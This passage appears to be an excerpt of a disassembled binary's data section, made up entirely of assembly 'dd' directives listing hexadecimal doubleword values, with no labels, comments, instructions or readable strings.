		dd 0BEAD010Dh, 0FFA48700h, 12C72C27h, 490CEAD5h, 5213802Ah
		dd 84600136h, 340D3189h, 98FCF9BCh, 22E6AD0Bh, 859C2018h
		dd 2611824Fh, 2CF8ABh, 5AD428D8h, 613A4356h, 4C9426ECh
		dd 0C23DBF07h, 338C5490h, 7AFF001Eh, 0EC78E16Ch, 6F064A32h
		dd 698AAE47h, 16F20280h, 76352C8Ch, 0CBB8B043h,	0C700E615h
		dd 0E0338241h, 0E21BF7h, 0B3937608h, 9A2AEF28h,	115538h
		dd 0A01435B1h, 13FEEA68h, 0F0AB0ED4h, 8B4F28D0h, 80EC7020h
		dd 71A10135h, 0F0C57B7Dh, 46D474CEh, 6901B2B0h,	1A2DE424h
		dd 708CF4B8h, 3C20D242h, 776A4000h, 0D11FB63Bh,	0DADC12BBh
		dd 5EA400D6h, 307844A9h, 4A111B0Fh, 7CE9C065h, 738715BBh
		dd 459600E7h, 22B10B2Dh, 0A200BC03h, 8DF860Ah, 2FF6B706h
		dd 88003274h, 76DC6EF8h, 0C3369000h, 2E6F0F12h,	78F700A3h
		dd 13DB8D95h, 5D484868h, 80380E3Ah, 0E797006Fh,	4653F9h
		dd 0A84AAE4Dh, 5D17DC27h, 4861AA17h, 0B73D0000h, 90D2CA1h
		dd 74216795h, 7249E0C0h, 0B81E4F07h, 5CD0391Fh,	949C8Ch
		dd 64C03AE1h, 50AB41BEh, 0CC12D00h, 1D5A4E21h, 4E37DBFh
		dd 0FEB29BB3h, 33EECE4h, 2445CF2Ch, 9362D0C5h, 63D100E9h
		dd 4F9A7BA3h, 0B6004241h, 24C97E73h, 30E73F3Dh,	9F80810h
		dd 74B0865Eh, 0FBC2CA1Fh, 81B1C503h, 0DD1AC111h, 0F826807Fh
		dd 0FAEAC92Ch, 5921F00h, 9C87C8BEh, 8F9D3050h, 9984CD60h
		dd 91ABB900h, 5312EB97h, 74BA5867h, 2A01DF00h, 0FBCA0BFAh
		dd 5AA33300h, 67D18570h
		dd 8F1C257Ah, 6C77E002h, 10214F8h, 638DBA91h, 108CC874h
		dd 0EE920257h, 68CC9506h, 4E807474h, 8E59DB98h,	0D69A00C6h
		dd 9CB222F2h, 0EB00C948h, 0A9696B9Dh, 26095FFBh, 9041EDh
		dd 91684ADCh, 7E488699h, 14E100B8h, 0F50917C5h,	0D2CB0025h
		dd 1248AA23h, 0A00047AFh, 0E52D34B9h, 256EA9B0h, 0C020A2F8h
		dd 2A37EE94h, 0EC83DA00h, 0D660D9B2h, 891600CBh, 26DE222Ch
		dd 3113E49Ch, 0B0A4F3FFh, 7338000Fh, 414DFBBFh,	3C005476h
		dd 88B3A58Eh, 1863146h,	4E092024h, 0F477B6A3h, 0F0BF9B55h
		dd 616A009Ch, 44FCEF1Ch, 0C0125A8h, 0D02A0923h,	0F561F8B8h
		dd 0CDE860h, 5A99DA0h, 33CC4154h, 0ED06EB0Eh, 835C4004h
		dd 1441540h, 479A4AD0h,	0C4C822AFh, 0C91FA888h,	0A407294h
		dd 162B156h, 64CE6F4Bh,	3140AEA0h, 48709FE6h, 32226704h
		dd 60F94F4Eh, 80A3BF1Ch, 7BAC0689h, 0DF005ECDh,	0B985D23h
		dd 1862212Ch, 1EFC9EA0h, 580094A3h, 388334BAh, 81A2C4h
		dd 0A5AE7A40h, 0D92310D8h, 0D6588B02h, 52C5DD4Ch, 2E42110Ch
		dd 87360B49h, 6018E131h, 19B23F0h, 86F6878h, 70176EC5h
		dd 36612AF9h, 58A38F61h, 0FC2C30DDh, 0B2F7C100h, 0F9FDD89Bh
		dd 0EC00F13h, 0FAE1949Ch, 6FD0002Fh, 76279A30h,	0AD07C771h
		dd 739DF15Bh, 7C266910h, 0BB87015Dh, 3D6C7481h,	2140E3AFh
		dd 880C5808h, 31757298h, 9E86075Ah, 8C3BC2DDh, 1B066E90h
		dd 19CC1FA0h, 583500A1h, 43F3F1EEh, 377C5AF6h, 1B416501h
		dd 0B5E8643Fh, 683C9F71h, 3AD06B00h, 0F291F6E3h, 0E5083Ah
		dd 8C9D4E3Eh, 0F8FEF719h, 18CF50B5h, 2370001Eh,	19316BA0h
		dd 0ED600F3Ah, 5886EA18h, 70970C08h, 0DB21AF0Bh, 0EED40C0h
		dd 0E29FF18Dh, 9DB605EEh, 5C66DE0h, 0C0B558h, 1AF94F30h
		dd 43004438h, 0A57C1A9h, 98ECF88Eh, 3E87889h, 54A537F2h
		dd 0E688E2E5h, 11016453h, 0A48FBEB4h, 20C85078h, 0FBEF2CEBh
		dd 1F050FB9h, 88571400h, 64286C17h, 5A00A0D3h, 4F7431D4h
		dd 27813C5h, 0E0CA4A5h,	2E0C643h, 0A600CBFAh, 0FE8A3AAh
		dd 1629FFBh, 98F6FB6h, 0F0AC7383h, 0FA0094E9h, 99B18410h
		dd 95C3EBh, 0BCEC1D4Ah,	0DE48B8B3h, 7094A00Eh, 0D252606Bh
		dd 3B07883Eh, 0BE852805h, 80970646h, 0C39203B3h, 0B6C46A00h
		dd 876B6112h, 0F5FC04A6h, 0F08BBF56h, 6F09972Ch, 80992854h
		dd 5BD8FE68h, 0F7AF091Ch, 49008438h, 0B3985335h, 0B1C66A38h
		dd 0B97F3842h, 0D5E3E0h, 4C64D4AFh, 0ACEE09Fh, 0FF00B094h
		dd 0F90F61E8h, 34660084h, 0EBAFB0B6h, 990021E7h, 7470D4DBh
		dd 3EB4EEA1h, 980FD56Ah, 79CAED9h, 0D079A3h, 50197D59h
		dd 0B6538C00h, 0B4C708B5h, 39C8121Bh, 70FF0B55h, 4E0C3872h
		dd 11FC414Bh, 9F8900D1h, 78A2E461h, 800738Fh, 35E150A6h
		dd 0F16626h, 0FE60B405h, 0FCE8D1B7h, 21B29300h,	2EC1B5AFh
		dd 0DA52061Eh, 611D72E7h, 0A7BC748h, 9C7ABE60h,	3F659D82h
		dd 8F0C17Ch, 0F6D44440h, 2ACE0052h, 658C57DBh, 70046D9h
		dd 2B22FB0Dh, 94DDA0h, 0FC5DE6EDh, 5344EEDFh, 46379B00h
		dd 5888660Bh, 26700A9h,	8D9D75CDh, 5F18EFF0h, 0FA30DBECh
		dd 60EE7805h, 0CF7311C1h, 1A055C4Dh, 259E0437h,	0A1C0F9C7h
		dd 600C6D65h, 680928DBh, 1300BB5Dh, 5EED4DF5h, 764761ADh
		dd 411072Bh, 400ABA30h,	0FDB22F2Dh, 930EDE07h, 22704DE5h
		dd 0DD5E64h, 23989ED9h,	0ED250351h, 0C2D758C6h,	33390089h
		dd 0FD65077Ch, 157A20EEh, 6D03A7F0h, 34D847C7h,	79F1B890h
		dd 5E94000Ah, 4F2CF0E2h, 0ED05E52Eh, 64A273E4h,	0CDD5C280h
		dd 676A3876h, 50F23903h, 71111409h, 0E800D2D6h,	59EFFB93h
		dd 0CEE2631Ch, 2D9A350Fh, 86DD804Fh, 62B610Fh, 5FAA12CBh
		dd 0B2F040E0h, 36BDA300h, 67BC317Ah, 390A00C4h,	0A2158C4Fh
		dd 8A3E6F0Ch, 0A90074B5h, 59BCCABDh, 0CBBEB2Eh,	0B3E5A14Ch
		dd 21C07008h, 575804A7h, 864B0C89h, 0CD195F21h,	0CBB9A06h
		dd 1C4729Bh, 0A2162B20h, 0CDD062EDh, 386EF09Ch,	18112C31h
		dd 38B25226h, 0B930DF80h, 0ECFB0859h, 34685323h, 5A01A000h
		dd 0E1692C9h, 66D38790h, 0DAE95320h, 6160BCA8h,	28516A29h
		dd 21F007A3h, 76A17214h, 0DC46F116h, 0A59BA13h,	44380B74h
		dd 2405E76h, 429B785Ah,	0C8DD615Ch, 806A9361h, 0C9E94E20h
		dd 3F3BA5Ah, 0E1BEE2A6h, 88034236h, 0F1A2A965h,	109E8Ah
		dd 969E68ACh, 0C8C7273Fh, 0EA9B300h, 923CC1ECh,	0BE770081h
		dd 0F706F93Bh, 0AA05457Ah, 9675CB71h, 0A29DD880h, 13330027h
		dd 0E56B3287h, 2000E10Ch, 5AA9C06Fh, 3EE4C798h,	0AA398675h
		dd 35BB4280h, 542DD277h, 71D3026h, 83CFE100h, 76117598h
		dd 464C0325h, 9F92C64Fh, 0EB96EAF0h, 33357C0Bh,	0CE0507F8h
		dd 23094F7h, 8F6946h, 57D3CF28h, 1A501314h, 0A5EF4E00h
		dd 6F9EAB42h, 1D887F7Ah, 803C068Bh, 9C190DDFh, 551F3DF2h
		dd 8E5CC6D8h, 14331C00h, 242E1BE8h, 3920261h, 65F68159h
		dd 3D993888h, 32F53A00h, 0E2E84E8Bh, 1DAA902Ch,	0C0E3D32Bh
		dd 0F2612D9Bh, 0DE00871Bh, 4690ADD0h, 0F8EF2EABh, 27AE181Dh
		dd 601020A2h, 19133819h, 8FC4CE31h, 0E8805F95h,	9FA80E5Dh
		dd 211DACAEh, 38FF66Ch,	67C8C0D3h, 5100BCFEh, 1B10C6EEh
		dd 0CFF24697h, 5D0384B9h, 1100CE13h, 0C0FA9552h, 1BD3B765h
		dd 8EF7434h, 2B0021D6h,	0D793FB44h, 3A19901h, 0AA480D6Dh
		dd 0B2D0DC88h, 74309E13h, 18207078h, 0D0C4047h,	0A0284530h
		dd 0E92F9DDh, 6C902F53h, 38567Fh, 6A2EAD11h, 0CE093E61h
		dd 8391D143h, 3100A68h,	76BBF278h, 1A8832F4h, 9A1DCE55h
		dd 41B7F73h, 905EF321h,	3DB3E33Fh, 37996D70h, 0D8808842h
		dd 0B0A3B41Bh, 0F695F01Ch, 91010Fh, 6F92DB67h, 0A0BB0035h
		dd 123F9DA2h, 0CE723C13h, 5074A500h, 1875560Bh,	0C6D5013Eh
		dd 2FDE8EFh, 0F83CE023h, 464F7200h, 5E0E936Fh, 63600075h
		dd 30A7964Eh, 27F43ED9h, 0AF3FCEE2h, 4D0C006Fh,	80C52C9Eh
		dd 4E9D0009h, 0C7755F59h, 0CA0357E1h, 503E9A95h, 0D014E07Fh
		dd 690A03ACh, 7C4FE93Dh, 0F09380A0h, 0C68B1700h, 16188D89h
		dd 6D450055h, 0CD21FE48h, 0CB07FFF5h, 0E0939A92h, 58B97830h
		dd 34FB001Ch, 0C4846C53h, 0A090F25Ch, 5B9AC21Eh, 7242E585h
		dd 0FB055EC0h, 0F8BC0008h, 0C7597B9Eh, 5A26814Ah, 0F5000E40h
		dd 28B475EFh, 42000A8h,	32AC19D8h, 2D034EDCh, 0F0096673h
		dd 0B518180Ah, 5B2C5872h, 92B47B18h, 1983F11h, 229D6A41h
		dd 0F0EFE131h, 8500BF51h, 78380BF3h, 0E96A583h,	4497A0D0h
		dd 8193005Fh, 94A630A1h, 6E8CF014h, 0FE2010Ch, 47B47CC1h
		dd 0C05EC99Dh, 0E7F5BDDh, 0C73B48D3h, 0C209818Ch, 0EC547471h
		dd 0AB605171h, 96B5007Fh, 7544344Fh, 81743190h,	6054AA1Ch
		dd 0A3C7AC9Fh, 0DFF7F3ABh, 46B633C0h, 9FFE0077h, 220E7682h
		dd 8C74BE51h, 0C07A47Ch, 63CD2898h, 2B2FC900h, 1904005Ah
		dd 307E4D5Eh, 33F0590Dh, 605504A5h, 4AFA70E2h, 0ED1D1907h
		dd 0FBD02E64h, 0ECD060h, 0DFD1B88Fh, 371461BAh,	2FB3FA0Fh
		dd 0F7C10DEh, 6224AE3h,	8A174880h, 0BB00ACEDh, 2346B919h
		dd 3E49E51Ah, 74CB12h, 70597416h, 56FB07B8h, 0FA389C1Fh
		dd 0B52A1900h, 0F0D021BCh, 520F072h, 143EB88Dh,	0B25C28FEh
		dd 646C3A24h, 0A2A7E100h, 71C95E44h, 3792077Dh,	406DE61Bh
		dd 0B799B24Ch, 0E1458B06h
		dd 0EC29BE0Bh, 47D887Fh, 0EA08A589h, 84D5A144h,	2290BC22h
		dd 1422AA71h, 74394291h, 105D12E9h, 0D044E3Bh, 7EADC973h
		dd 45E1C40h, 6922B231h,	0A82722B5h, 0DF119142h,	8352142h
		dd 5903AF4h, 4841B284h,	34914201h, 0D1216924h, 112D1258h
		dd 5D24CE1Eh, 12630221h, 41A31039h, 8717C189h, 7197B068h
		dd 9003E175h, 0F9B56C43h, 0F3E2B9E7h, 0E8C4160h, 0F7D811FAh
		dd 0CFAB6AC0h, 3379C4BEh, 0F4015128h, 3555000h,	933EFCB1h
		dd 0D5BF00DEh, 0C77C7A17h, 81B80984h, 8BF0121Fh, 87C8690Bh
		dd 9F8033E1h, 1F9532Dh,	0B9E73C6Fh, 85046A5Eh, 0D5C27B40h
		dd 0FA825FC0h, 5F3B2E2Fh, 0F76603D9h, 99C01261h, 31044532h
		dd 0B71142C7h, 0EFE9BBC0h, 124F00B3h, 0DFB825D0h, 0E6007B7Dh
		dd 7890C695h, 1E8F39D2h, 80D0DB17h, 91621E34h, 0FB00B931h
		dd 16D7FC75h, 0B9822FFh, 559FB1D5h, 0BDFD4180h,	470E771Bh
		dd 40418A9Dh, 8127CEFCh, 0AAC50CA4h, 0FE60E490h, 68088C09h
		dd 0DE742016h, 0FE469EBBh, 0DAF00081h, 110A87C3h, 5A308347h
		dd 0F2D62675h, 379077Ah, 0A024EA2Ch, 0FB3DD14h,	0B9F10124h
		dd 803DBE1Fh, 0DEA57E3Dh, 717BFFh, 0FC34B033h, 586BA93h
		dd 0A800B0D6h, 9F03EB81h, 74E089h, 0EA5A8B08h, 0D1F4D41h
		dd 545C8C00h, 9D20335Fh, 0C19950B6h, 568F1E03h,	0A61EC09Ah
		dd 8F553A5h, 57E8022Eh,	22B7B500h, 77894Ch, 0E16716F8h
		dd 96A49AB0h, 0D4573205h, 0CBB5D82h, 95F96C8Dh,	7F15A819h
		dd 0FAC0B670h, 0F8D8073Bh, 0E0AF2442h, 9B4EEBA0h, 0F0CA9100h
		dd 34DD2EC2h, 188F00ADh, 3878A8ACh, 1C07133Dh, 0B7F9C31Eh
		dd 4FCEE430h, 983A009Ch, 0E669A5E0h, 0CA0768A2h, 0A1220A20h
		dd 8114F690h, 0B4F8BEh,	0C6A4FA03h, 466EEE96h, 23AD5800h
		dd 10E741D2h, 0AFF1E73h, 12E580B4h, 0FA8630AFh,	9BF39900h
		dd 0BA4E6E3Bh, 6FC800D7h, 11CE3E71h, 0F007721h,	0BC54C5F8h
		dd 0C64ACh, 696B68E9h, 0B90941F2h, 52003F78h, 63A9CD3Ch
		dd 6F198Eh, 462273Bh, 349C9A4Ch, 0F3D9AE00h, 0E86C130Eh
		dd 7DE440h, 1EFD55D6h, 2CC44B9Fh, 5AA5D900h, 0AD2ED35Dh
		dd 66BF006Fh, 31BECAFCh, 3000EE33h, 34F3F787h, 24D9C369h
		dd 16BAF4h, 0E0C26E51h,	8677B1DDh, 90359800h, 96D67FECh
		dd 6DEE424h, 3F7B67A5h,	27001891h, 93C8B2D4h, 55690B8h
		dd 0F9112BBCh, 6FD2C05Dh, 0A490754h, 0FA0800C8h, 754113ECh
		dd 5843EF3h, 0ADD38C00h, 534CC41Ah, 0A737BD00h,	0D4D96C32h
		dd 97FCEDE4h, 46B003B3h, 0D5819F1Dh, 8C9B44EBh,	0D300EFA4h
		dd 0A1C63658h, 6C070047h, 0E690CD2Fh, 0D4FFF85Bh, 2E0C23E7h
		dd 263BDD49h, 1E980EEDh, 0D56F78B5h, 0C8D48C00h, 96123707h
		dd 404804E0h, 0B0580E4Eh, 61BB28C0h, 0EC1D9EFAh, 0F7431D75h
		dd 0A05D6463h, 0DFC8F1h, 68A5DBF2h, 539FDD15h, 5C6A9001h
		dd 0E24BD8FDh, 623BF8h,	22F10518h, 0B8738ED5h, 0BA532A0Fh
		dd 8A0EDFF0h, 0C74B0EB4h, 0C6F0D3D4h, 7BB2E5h, 0EA220147h
		dd 1BF08371h, 0A02CF5EAh, 4E0076C8h, 5E5C17B0h,	2435E27Ch
		dd 12CD642h, 787FF45Dh,	0E1283025h, 0D0CDFB18h,	0E02B6Ch
		dd 0AFF6482Ah, 86234206h, 3969CE00h, 0CAAEE2BBh, 59BF0EF2h
		dd 0A3C335C9h, 65F072A1h, 0FF00A73Ch, 0AF4FEBB4h, 0BA3AAAh
		dd 2B60A55h, 37166210h,	78C44000h, 0DF858AF0h, 44ED0057h
		dd 0F6992793h, 7503AFDBh, 2AAEA4BBh, 582A789Bh,	9100DC20h
		dd 7B29EAD9h, 0B3005C05h, 0AFC82557h, 453623h, 0D3E2729Ah
		dd 5D39A1A8h, 30018400h, 0D859F869h, 0D8988Bh, 48AE95CDh
		dd 0B0DAA8C8h, 0E7C9741Dh, 3B19FD00h, 76F51C5h,	2B71CD06h
		dd 0CC1AF129h, 34F8E839h, 777B3000h, 0BD6120F6h, 0A2E701CFh
		dd 602A4513h, 887DFCF5h, 6549BF00h, 0BA6A2DC4h,	8EAA00B4h
		dd 0BC7A216Fh, 4B315B3Eh, 0ED3938CCh, 4287C4h, 1508F2C1h
		dd 0A60DEEACh, 0B4769C00h, 3F63F98Fh, 58390007h, 5B1797D8h
		dd 0D904E771h, 0FF264449h, 80DF3382h, 9B070BDCh, 5765063Ch
		dd 1910AECEh, 0E500037Ah, 0A57C2EEBh, 1FF8870Dh, 3F9FC51h
		dd 0AE578309h, 7CC0EFB5h, 0B01DC57Eh, 0BEFF1F0Eh, 1CCED32Fh
		dd 90C003CCh, 5A908D24h, 6E00ED04h, 3494CB4Bh, 30A91975h
		dd 5552AB56h, 83009EFFh, 0BE5115DDh, 4CE07CDh, 4109BD0Eh
		dd 58C0AA14h, 90361D9h,	8334B9A9h, 98A88410h, 39DE4800h
		dd 2981DF97h, 19007C7h,	507238DBh, 2F790FD9h, 0A409A771h
		dd 0F189C43h, 126C0055h, 9EC0B2h, 17AE3C33h, 0E21D51D1h
		dd 2AD97E00h, 0B9DAE084h, 0ABC900A4h, 0B50EE628h, 0D200E144h
		dd 0DE3A0832h, 1E36AF7Ch, 81148497h, 0F2732286h, 0B276E0ACh
		dd 98913Fh, 39CE4EA3h, 0B757E3h, 6861A2E2h, 3B8F0137h
		dd 2327900Bh, 63ED0B5h,	703DC72Bh, 413CA0A8h, 0C3739F3Ch
		dd 0B0204280h, 30C5F1B5h, 35183BB3h, 0FC008727h, 59997D74h
		dd 0C3F98F8h, 0ECCCC811h, 57007548h, 0B536A95Ah, 1563824h
		dd 4ABF19DCh, 0C01D76E1h, 4007CCE2h, 108F17B4h,	0CADC8029h
		dd 2393EBh, 29ADF70Ch, 1D91FEA2h, 0AF8C7E00h, 0B0FFA528h
		dd 7C07822h, 0F2386411h, 2A07F17h, 0DFD3671Ah, 0B0BA7800h
		dd 0E6F0B3F9h, 0FAE7407Dh, 0B076C82Eh, 5B9FA900h, 78A709Ah
		dd 3A244EE2h, 9029B785h, 94E8C651h, 5EBE2100h, 45C8B698h
		dd 14263FDAh, 0FFF0CC80h, 0BC043D40h, 5BEE9F00h, 72E8F1E1h
		dd 2D9900BFh, 0F4BCC28h, 2200DF2Ch, 0B49F700Eh,	5C9B2621h
		dd 560048FAh, 0EB74DE63h, 2000BD8Bh, 0FFFBB7C3h, 0F52D25h
		dd 85E7986Bh, 0F3116EAh, 0A622EF05h, 30907503h,	7FF0C2F7h
		dd 9E3017Ch, 0B3C41BD7h, 0FC7AD0F1h, 3200F092h,	8EE24CB8h
		dd 7ADBA42Eh, 7C96016Ch, 0D5B34220h, 0E2152021h, 0D54820Eh
		dd 5CE1C004h, 7385DA98h, 3B6E0030h, 7E1E05EBh, 9700E728h
		dd 0A6FFF9EAh, 60C4CB51h, 0B36790A3h, 1200F6C6h, 0C543EBF2h
		dd 4101D28h, 728684FCh,	0DE108013h, 0DCE1A9C1h,	5F008975h
		dd 26FEEAA7h, 1D8E1FAAh, 40E30116h, 0F7E75D2Ah,	8B002F24h
		dd 0C74D490h, 0DB4448h,	6B679812h, 5F26B6CBh, 0B400C274h
		dd 0F2B9294Eh, 1E931902h, 0C0EB6C94h, 92DC8F11h, 2A00FA79h
		dd 800DCBD4h, 2FF60Bh, 0B9A4E4C9h, 3C5369CDh, 4250A00h
		dd 0D1D66399h, 0F7C900B1h, 115AFA20h, 58018968h, 3229F938h
		dd 3986AA47h, 2999C795h, 30E31800h, 4984D45Eh, 0FCD2FCF1h
		dd 64BA488Bh, 474EAE00h, 2972B33Dh, 0C400034Ah,	2E67AD4Fh
		dd 33A00002h, 5817C444h, 2C7B5068h, 64541600h, 0A7631E56h
		dd 6E7F303Ah, 731A6718h, 6BAA0926h, 0A899600h, 8BF011h
		dd 19A9131Bh, 0A1FD7E65h, 78ED9426h, 7B906900h,	1D34B712h
		dd 3B1787Ah, 89F5140Eh,	0FDC4D0C7h, 37002D0Ch, 35CD7DFBh
		dd 0D16823h, 9C792BE4h,	0C3449840h, 89BD400h, 0DAFA941Fh
		dd 0FFD503BFh, 0D7F8B4B2h, 6B4E4BE8h, 0DEFE3301h, 0D2BD10A6h
		dd 4D82F440h, 0F5430009h, 14967AFAh, 7C00B8D3h,	0F437D9AAh
		dd 0E1E6F48h, 40D152C4h, 56804BABh, 0FBB2A0B3h,	7BBD2A00h
		dd 276CDEEh, 2C5B1CC8h,	59670042h, 0FB85D716h, 0CABB400h
		dd 8DFF492Fh, 979E0A3Bh, 12A013CBh, 6B3C0137h, 70F4F6F3h
		dd 8C002364h, 0BFEF1921h, 0EBCC67h, 2C8E8AEEh, 0D69017A5h
		dd 92361400h, 5AAFE0DDh, 52BF0070h, 5C65313h, 47006FD9h
		dd 15726B57h, 1CE21FBEh
		dd 414FB349h, 0D8D94290h, 84422058h, 0EC2C800Eh, 39A52040h
		dd 71AA31B6h, 0DCCF3F5Dh, 0B5811CBFh, 82021D9Bh, 50366004h
		dd 97E26750h, 1F20621Ch, 339968C0h, 3056192h, 45924A4h
		dd 0CAE8A801h, 0A01DAC31h, 740003DDh, 0A221A72Ch, 0F7B838h
		dd 0B3D1054Bh, 6BAA3525h, 2793000h, 416401F3h, 10CE00E0h
		dd 3CF2C392h, 0C650D2FEh, 0BA0957E8h, 0A0E63BBCh, 0BD5F3530h
		dd 3FF270C0h, 0C92CCE3Eh, 3FCA029Bh, 306044FFh,	0F5019F0Dh
		dd 0F356E914h, 0B9D809E4h, 2A9A00FDh, 0DE2E3927h, 4800FAF2h
		dd 4B68B870h, 18BBC0D0h, 30DAB6CAh, 670061E1h, 7AE81C3Bh
		dd 2922C2Eh, 0D952A3Eh,	9CE07CD9h, 0C70052B5h, 40C11635h
		dd 0C8FB8Dh, 0B72FD1D4h, 0E056863Eh, 7D70D500h,	14645EAAh
		dd 30AE3A39h, 6503D6BCh, 92A90807h, 0A65D1000h,	0EDDF2B9Ah
		dd 3AD9000Fh, 46C9EB3Eh, 9D7FD193h, 96A95600h, 0E64DCD99h
		dd 377B0070h, 0CDD7E0Fh, 6700C006h, 0DE96294Fh,	0F81B8A55h
		dd 24A60044h, 60EE9A0h,	4EF8112Ah, 6FB89700h, 4AC0E2FAh
		dd 92040057h, 0AEC89F4Ch, 1B001240h, 0C99E4D91h, 3CF08EAFh
		dd 0A800C6F1h, 0B85C1A27h, 4A08D5D7h, 2886B3h, 4FCFF476h
		dd 8300629Bh, 2F3FCDD2h, 0B86B99AAh, 6D7C0023h,	21EDD842h
		dd 0A17FD6E0h, 0D4C7DB00h, 33305878h, 43A8003Ah, 1116B593h
		dd 5200F207h, 0E0FF59ECh, 3CE4821h, 9488A52Bh, 4800B501h
		dd 1D7A809Fh, 3A471A3h,	3AC72F56h, 0BCF1F70Eh, 0CDD4C8B1h
		dd 0DA1D4773h, 4F80587Ah, 0F562E63Fh, 0B67D00F4h, 53F135FEh
		dd 150122B3h, 0C6AD2B1Fh, 87CDBEB8h, 944059EDh,	0E2D864h
		dd 535D4FA3h, 9ECA79FAh, 0E0896228h, 53B0B00h, 388A86Bh
		dd 9F9A12A0h, 0CA8F3h, 134E2024h, 7A212226h, 0DD1D009Eh
		dd 9CA56651h, 550315B1h, 8B5A7ECAh, 1C20AF44h, 3F881ACh
		dd 4ABEF157h, 0D0003DB9h, 0B075263Fh, 61FB3DAh,	859DF3C0h
		dd 145C369Bh, 49CC0399h, 0D0340D20h, 0AB0AEh, 901CD481h
		dd 0CDBFEA8Ch, 3F108E60h, 48D9F4h, 0E2D2742Fh, 5D96C6A1h
		dd 885CBF00h, 3C907CB1h, 0B36F14DDh, 74009457h,	9C293F04h
		dd 15611BC3h, 7BD90790h, 0E0BF8170h, 338D698h, 341AEB36h
		dd 29C06090h, 0E83EBB00h, 164C59B9h, 96350F63h,	19C078B3h
		dd 6CAD2DD6h, 0C3E8100h, 2F86C2EBh, 0F64412ACh,	32650037h
		dd 78FAF0Dh, 0CB963C1Fh, 8790BC0h, 0F9482D2Ah, 0D98820h
		dd 89CEE605h, 0BD387578h, 2802AD00h, 15A1D59Ch,	0D20C1E85h
		dd 0F25F40DAh, 6D39DFB9h, 8049143Ch, 0A74280E8h, 76A20F1Bh
		dd 0B1F86Ah, 18952973h,	2C86F53h, 0A008610Ch, 0C1D707Ah
		dd 0A2397CC6h, 0DF00BF60h, 9EC0CBD0h, 2B21AE6h,	0F963C93Ah
		dd 0E8407D66h, 39004EB8h, 0EFA1B15Ch, 3C975A45h, 3A732C8Ch
		dd 2280A338h, 7D1999A8h, 950711FBh, 419FF63Bh, 436EB310h
		dd 0C40C0E2Ah, 23806254h, 4B9C3866h, 0F4C0D903h, 0C094FF2Eh
		dd 1FD689B9h, 0C04F05C4h, 90C32F2Dh, 0F8FCB6B0h, 0E68DDD00h
		dd 0F38FE8E7h, 8CD90036h, 842CF0C1h, 0F00EBA2h,	6E0A9425h
		dd 0E8F9A9E0h, 0BEDA50F4h, 0EA6600AEh, 6C7A3659h, 0CF1F1293h
		dd 2D01FD1Ch, 0BC1AACF2h, 0C9E60h, 31077DDCh, 8A54632Eh
		dd 6A9EAA00h, 0B213D406h, 912F00AEh, 0FFAC4F2Ch, 0C60758AFh
		dd 65E90EFAh, 0D83CF690h, 0EB7401B7h, 6D687B08h, 0E3B043DEh
		dd 0D3FB67C0h, 531C2D00h, 609D0CF8h, 8AAA03E5h,	447DBDA8h
		dd 85D955E1h, 0A03D1F30h, 9411D018h, 227D0068h,	5F297799h
		dd 1700DCA4h, 32CC8501h, 1434A85Eh, 0D5AE6733h,	4065A01Ch
		dd 6D365175h, 3C0059B5h, 0A3AABCEh, 0A42A4Eh, 432E73A5h
		dd 0BD56A3EEh, 88B05A1Fh, 76008428h, 62B6C723h,	6E27EFh
		dd 1124635Eh, 38C3E37Ah, 3B0760F4h, 0B249E6ADh,	0A86CA450h
		dd 8A1F00A0h, 0F20102A6h, 0E0584809h, 986000E4h, 0F6E6677Eh
		dd 0E7651895h, 0AF97213Ch, 0D4A71A03h, 0C0FF6F86h, 3C877A8Bh
		dd 60C83F4h, 3028F3F9h,	0A71B2700h, 9F63A2A8h, 7CD80358h
		dd 18C72194h, 9B3819F8h, 56E25400h, 0A5823913h,	90832DC0h
		dd 6100F2F4h, 3D253240h, 0BE672EA1h, 298E3DDAh,	39E0B356h
		dd 0B23B6A80h, 0D51C5800h, 0A44172DDh, 40B900D7h, 0C8495163h
		dd 9600BA73h, 0CC592A11h, 0E8235A1Ah, 480800D2h, 4AA4ED61h
		dd 673D966Ah, 117480C9h, 623CC64Fh, 0A62B042Ah,	0C07D17B1h
		dd 0A1BDE4DCh, 0C09729F8h, 0B89008E5h, 18D1E24Bh, 495CC250h
		dd 13393C6Eh, 5D18001Eh, 0BC43B5CEh, 45B300A6h,	9B62820h
		dd 23009111h, 0D1F4E37Bh, 0B086D9C3h, 7D18001Ch, 0A3684A54h
		dd 0B00F262h, 108EC8B2h, 1C94F336h, 0C03DC0ECh,	0B30F2A1Dh
		dd 9D3CD0CAh, 92B60102h, 6088E4F4h, 0B01860h, 8629DB56h
		dd 719A6843h, 44AF0E00h, 0FAFD36D1h, 70CEE18h, 0A6DD3F66h
		dd 0A0D34109h, 1BFE4060h, 82073120h, 0DE83CDEh,	0C4372F60h
		dd 457347h, 7EB7FAC8h, 0F882F063h, 0C077412Eh, 53FFC100h
		dd 2CA070EFh, 3F23DC73h, 5BC23081h, 60AF25CAh, 0C7207408h
		dd 0BF5E6FAh, 6EBCF6B8h, 3E3B6400h, 4D175E09h, 180221DDh
		dd 0E128EA07h, 4FC51058h, 0B2377E0h, 69182B88h,	30B94281h
		dd 5AF0935Bh, 7AA32C00h, 37102DCh, 87B427D1h, 96C8DDA5h
		dd 740BD783h, 0D65D98h,	9A44DBDCh, 0E2C51D56h, 9E4B841Eh
		dd 0C04C9025h, 0FE0FE089h, 0A062D7CCh, 1241E65Ch, 60359895h
		dd 5F7840D5h, 350EC45Eh, 24C21DFDh, 5E807285h, 0AB0AFBF6h
		dd 0BEA8E194h, 0E03DD464h, 0F45E00BBh, 93BFB419h, 0E8C2121Dh
		dd 6071FB76h, 711641CCh, 0B1C101E1h, 73ADA092h,	2E68C8A4h
		dd 0D88DCA00h, 3B2615CDh, 7B8A6h, 0B2A423F7h, 22D1A580h
		dd 71D8E05h, 0E18026F0h, 414E291h, 5236750Ah, 2BB4C035h
		dd 84001766h, 5818F2B1h, 7930D6Eh, 979DA88Eh, 9E905092h
		dd 0B438BF79h, 220F75ADh, 7EB9B1h, 0DCEC2945h, 0A89F4D6Eh
		dd 48D30581h, 0A2E0DCB6h, 0BDC4600h, 0F3FACBF8h, 873C0B33h
		dd 18002186h, 6710EF71h, 43AE4B13h, 1A1DE407h, 6FE564A0h
		dd 0A570002Ah, 0D8BB9D28h, 70495DEh, 971E65E7h,	3C3270C0h
		dd 671AB8DCh, 0CF10A1h,	31921F12h, 6291F50Fh, 4B0A4041h
		dd 49EF626h, 750DC96Dh,	0A37C88BBh, 242C0F00h, 0EC12C459h
		dd 6310521h, 80099F5Ch,	30FA292Ch, 0D411EF00h, 0AD3D9882h
